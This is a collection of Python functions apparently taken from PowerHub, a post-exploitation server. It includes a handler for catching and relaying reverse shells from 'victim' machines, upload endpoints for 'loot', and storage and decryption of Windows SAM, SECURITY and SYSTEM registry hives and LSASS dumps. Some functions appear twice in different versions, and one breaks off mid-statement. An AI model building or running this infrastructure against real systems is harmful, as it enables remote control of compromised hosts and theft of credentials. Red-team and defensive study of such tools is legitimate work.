def create_self_signed_cert( hostname, cert_file, key_file, ): key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend()) subject = x509.Name([ x509.NameAttribute(x509.NameOID.ORGANIZATION_NAME, "PowerHub"), x509.NameAttribute(x509.NameOID.COMMON_NAME, hostname) ]) hash_algo = hashes.SHA256() cert = x509.CertificateBuilder().subject_name(subject).issuer_name( subject).public_key(key.public_key()).serial_number( x509.random_serial_number()).add_extension( x509.BasicConstraints(ca=True, path_length=None), critical=True).not_valid_before( datetime.datetime.utcnow()).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365)).sign( key, hash_algo, default_backend()) log.info("Generated a self-signed certifiate for '%s' with SHA-1 " "fingerprint: %s" % (hostname, cert.fingerprint(hash_algo).hex())) with open(cert_file, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) with open(key_file, "wb") as f: f.write( key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption()))
def read_shell_packet(self, s): """Deserialize byte string and instantiate ShellPacket""" header = s.recv(4, socket.MSG_PEEK) if not header: return None if s == self.rsock: header = encrypt(header, self.key) packet_length = struct.unpack('<i', header)[0] body = b'' while len(body) < packet_length: body += s.recv(packet_length - len(body)) if s == self.rsock: body = encrypt(body, self.key) p = ShellPacket(body) if p['msg_type'] == "PONG": log.debug("%s - Pong" % (self.details["id"])) elif p['msg_type'] == "KILL" and p['data'] == "confirm": log.info("%s - Shell has died" % (self.details["id"])) self.active = False self.unset_lsock() return p self.append_to_log(p) if s == self.rsock: sender = "reverse shell" self.t_sign_of_life = dt.now() if self.lsock: self.deliver(p, self.lsock) else: sender = "local shell" self.deliver(p, self.rsock) host, port = s.getpeername() log.debug("%s - %s - From %s: %s" % (host, self.details["id"] if "id" in self.details else "?", sender, p)) return p
def create_self_signed_cert( hostname, cert_file, key_file, ): # create a key pair k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) # create a self-signed cert cert = crypto.X509() cert.get_subject().O = "PowerHub" # noqa cert.get_subject().CN = hostname cert.set_serial_number(random.randint(1, 10000)) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha256') log.info("Generated a self-signed certifiate for '%s' with SHA-1 " "fingerprint: %s" % (hostname, cert.digest("sha1").decode())) open(cert_file, "bw+").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) open(key_file, "bw+").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
def upload(): """Upload one or more files""" file_list = request.files.getlist("file[]") is_from_script = "script" in request.args loot = "loot" in request.args and request.args["loot"] for file in file_list: if file.filename == '': return redirect(request.url) if file: if loot: loot_id = request.args["loot"] log.info("Loot received - %s" % loot_id) save_loot(file, loot_id, encrypted=is_from_script) else: log.info("File received - %s" % file.filename) save_file(file, encrypted=is_from_script) if loot: decrypt_hive(loot_id) push_notification("reload", "Update Loot", "") else: push_notification("reload", "Update Fileexchange", "") if is_from_script: return ('OK', 200) else: return redirect('/fileexchange')
def run_proxy(): proxy = DynamicProxy() site = Site(proxy) reactor.listenTCP(ph_app.args.LPORT, site, interface=ph_app.args.LHOST) if not ph_app.args.SSL_KEY or not ph_app.args.SSL_CERT: ph_app.args.SSL_CERT, ph_app.args.SSL_KEY = \ get_self_signed_cert(ph_app.args.URI_HOST) pem_data = open(ph_app.args.SSL_CERT, "br").read() cert = x509.load_pem_x509_certificate(pem_data, default_backend()) global FINGERPRINT FINGERPRINT = cert.fingerprint(hashes.SHA1()).hex() reactor.listenSSL( ph_app.args.SSL_PORT, site, ssl.DefaultOpenSSLContextFactory( ph_app.args.SSL_KEY.encode(), ph_app.args.SSL_CERT.encode(), ), interface=ph_app.args.LHOST, ) log.info("Web interface accessible on http://%s:%d and https://%s:%d" % ( ph_app.args.URI_HOST, ph_app.args.LPORT, ph_app.args.URI_HOST, ph_app.args.SSL_PORT, )) reactor.run()
def process_file(file, loot_id, is_from_script, remote_addr): """Save the file or the loot and return a message for push notification""" if loot_id: log.info("Loot received - %s" % loot_id) try: save_loot(file, loot_id, encrypted=is_from_script) decrypt_hive(loot_id) msg = { 'title': "Loot received!", 'body': "%s from %s has been stored." % ( file.filename, remote_addr, ), 'category': "success", } except Exception as e: msg = { 'title': "Error while processing loot", 'body': str(e), 'category': "danger", } log.exception(e) else: log.info("File received - %s" % file.filename) save_file(file, encrypted=is_from_script) msg = {} return msg
def run(self): while self.active: r, w, _ = select.select(self.read_socks, self.write_socks, [], 5) for s in r: if s == self.signal_pipe[0]: # this was only a signal to interrupt the select block, # do nothing os.read(s, 1024) else: try: if not self.read_shell_packet(s): if s == self.lsock: self.unset_lsock() break elif s == self.rsock: log.info("Connection to reverse shell lost") self.unset_lsock() break except ConnectionResetError: return None except Exception: log.exception( "Exception caught while reading shell packets") break try: if not w: self.ping(self.rsock) for s in w: for p in self.queue[s]: self.write_shell_packet(p, s) self.queue[s] = [] self.write_socks.remove(s) except Exception: log.exception("Exception caught while writing shell packets") break
def __init__(self, sock): super(ReverseShell, self).__init__() self.key = KEY self.details = {} self.rsock = sock # the remote socket connected to the victim self.lsock = None # the local socket for shell interaction self.log = [] self.active = False if self.get_shell_hello(): self.created = dt(*eut.parsedate(self.details["created"])[:6]) host, port = sock.getpeername() self.details["peer_host"] = host self.details["peer_port"] = port self.description = ("[%(id)s] %(user)s@%(hostname)s " "(%(peer_host)s:%(peer_port)d)") % self.details self.read_socks = [self.rsock, self.signal_pipe[0]] self.write_socks = [] self.queue = { self.rsock: [] } self.active = True log.info("%s - %s - Reverse Shell caught" % ( host, self.details["id"], ))
def import_modules(): """Import all modules and returns them as a list""" result = [] log.info("Importing modules...") for dirName, subdirList, fileList in os.walk(MOD_DIR, followlinks=True): for fname in fileList: if fname.endswith('.tests.ps1'): # This is done because PowerSploit contains tests that we # don't want continue _, ext = os.path.splitext(fname) if ext.lower() not in ['.exe', '.ps1']: continue path = os.path.join(dirName, fname) with open(path, "br") as f: buffer = f.read(2048) file_type = magic.from_buffer(buffer) mime = magic.from_buffer(buffer, mime=True) mod_type = get_module_type(fname, file_type, mime) if not mod_type: continue log.debug("Imported module (%s): %s" % (path, mod_type)) module = Module( path.replace(os.path.join(BASE_DIR, 'modules'), ''), path, mod_type, file_type, ) result.append(module) for i, m in enumerate(result): m.n = i return result
def add_hive(loot_id, hive_type, filename): loot = get_loot_entry(loot_id) if hive_type == "SAM": loot.sam_file = filename elif hive_type == "SECURITY": loot.security_file = filename elif hive_type == "SYSTEM": loot.system_file = filename elif hive_type == "SOFTWARE": loot.software_file = filename _db.session.commit() log.info("Hive entry added - %s" % loot_id)
def get_self_signed_cert(hostname): file_basename = os.path.join(CERT_DIR, "cert_%s." % hostname) cert_file = file_basename + 'cert' key_file = file_basename + 'key' # check if one already exists if not (os.path.isfile(cert_file) and os.path.isfile(key_file)): log.info("No SSL certificate found, generating a self-signed one...") create_self_signed_cert(hostname, cert_file, key_file) else: f = open(cert_file, "br").read() cert = crypto.load_certificate(crypto.FILETYPE_PEM, f) log.info("Loaded SSL certificate for '%s' with SHA1 fingerprint: %s" % (hostname, cert.digest("sha1").decode())) return (cert_file, key_file)
def get_self_signed_cert(hostname): file_basename = os.path.join(CERT_DIR, "cert_%s." % hostname) cert_file = file_basename + 'cert' key_file = file_basename + 'key' # check if one already exists if not (os.path.isfile(cert_file) and os.path.isfile(key_file)): log.info("No SSL certificate found, generating a self-signed one...") create_self_signed_cert(hostname, cert_file, key_file) pem_data = open(cert_file, "br").read() cert = x509.load_pem_x509_certificate(pem_data, default_backend()) hash_algo = hashes.SHA256() log.info("Loaded SSL certificate for '%s' with SHA1 fingerprint: %s" % (hostname, cert.fingerprint(hash_algo).hex())) return (cert_file, key_file)
def add_sysinfo(loot_id, filename): """Convert sysinfo in CSV to JSON and store in DB""" loot = get_loot_entry(loot_id) with open(filename, 'r') as f: sysinfo = f.read() if not sysinfo: return None f = StringIO(sysinfo) reader = csv.reader(f, delimiter=',') result = [] for row in reader: result.append(row) if not result: return None result = dict(zip(result[0], result[1])) result['IPs'] = result['IPs'].split() result = json.dumps(result) loot.sysinfo = result _db.session.commit() log.info("Sysinfo entry added - %s" % loot_id)
def run_provider(self, host='127.0.0.1', port=18157): """Provides a service where you can interact with caught shells""" self.lsock.bind((host, port)) self.lsock.listen(128) while True: connection, addr = self.lsock.accept() r, _, _ = select.select([connection], [], []) id = connection.recv(8).decode() if not id: break peer_shell = [s for s in self.shells if s.details["id"] == id] if id == "g" * 8 and self.shells: peer_shell = [self.shells[-1]] if not peer_shell: log.error("No shell with ID %s found" % id) connection.close() continue peer_shell[0].set_lsock(connection) log.info("%s - %s - Connected local and reverse shell" % ( addr[0], peer_shell[0].details["id"], ))
def signal_handler(sig, frame): log.info("CTRL-C caught, exiting...") powerhub.reverseproxy.reactor.stop()
from functools import wraps from flask import request, Response from powerhub.args import args from powerhub.tools import generate_random_key from powerhub.logging import log if not (args.AUTH or args.NOAUTH): log.info("You specified neither '--no-auth' nor '--auth <user>:<pass>'. " "A password will be generated for your protection.") args.AUTH = "powerhub:" + generate_random_key(10) log.info("The credentials for basic authentication are '%s' " "(without quotes)." % args.AUTH) def check_auth(username, password): """This function is called to check if a username / password combination is valid. """ if args.AUTH: user, pwd = args.AUTH.split(':') return username == user and password == pwd else: return True def authenticate(): """Sends a 401 response that enables basic auth""" return Response( 'Could not verify your access level for that URL.\n'
def kill(self): log.info("%s - Killing shell" % (self.details["id"])) p = ShellPacket({"msg_type": "KILL", "data": ""}, T_DICT) self.write_shell_packet(p, self.rsock)
def add_lsass(loot_id, lsass, lsass_file): loot = get_loot_entry(loot_id) loot.lsass = lsass loot.lsass_file = lsass_file _db.session.commit() log.info("LSASS entry added - %s" % loot_id)